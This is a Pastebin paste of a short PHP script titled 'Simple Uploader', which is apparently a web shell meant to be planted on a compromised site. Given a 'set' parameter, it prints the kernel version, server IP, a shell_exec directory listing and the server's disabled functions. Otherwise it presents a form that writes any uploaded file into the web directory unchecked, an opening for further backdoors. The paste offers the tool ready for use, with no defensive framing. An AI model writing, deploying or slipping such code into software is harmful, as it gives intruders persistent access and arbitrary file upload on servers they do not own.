long_term

Simple Uploader

Jul 22nd, 2014
433
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.15 KB | None | 0 0
  1. <?php
  2.  
  3. session_start();
  4. $_SESSION['set']=isset ($_GET['set'])?trim(strip_tags($_GET['set'])):'';
  5.  
  6. if($_SESSION['set']!='')
  7. {
  8. echo '<title>0zie</title>';
  9. echo 'Kernel    : <b>'.php_uname().'</b>';
  10. echo '<br>';
  11. echo 'Server IP :<b>'.$_SERVER["SERVER_ADDR"].'</b>';
  12. echo '<br>';
  13. echo 'Dir & Files : <pre>'.shell_exec('ls -la').'</pre>';
  14. //for show disbaled functions :
  15. error_reporting(E_ALL);
  16. $disabled_functions = ini_get('disable_functions');
  17. if ($disabled_functions!='')
  18. {
  19. $arr = explode(',', $disabled_functions);
  20. sort($arr);
  21. echo '<font color=red><b>Disabled Functions: </b></font>';
  22. for ($i=1; $i<count($arr); $i++) {
  23. echo $i.'-'.$arr[$i].'&nbsp;&nbsp;&nbsp;';
  24. }
  25. }
  26. else {
  27. echo '<font color=red><b>Disabled Functions :</b></font> : NONE<br>';
  28. }
  29.     die;
  30. }
  31. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  32. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  33. if( $_POST['_upl'] == "Upload" ) {
  34.     if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Ok</b><br><br>'; }
  35.     else { echo '<b>Bad</b><br><br>'; }
  36. }
  37. ?>
Advertisement
Add Comment
Please, Sign In to add comment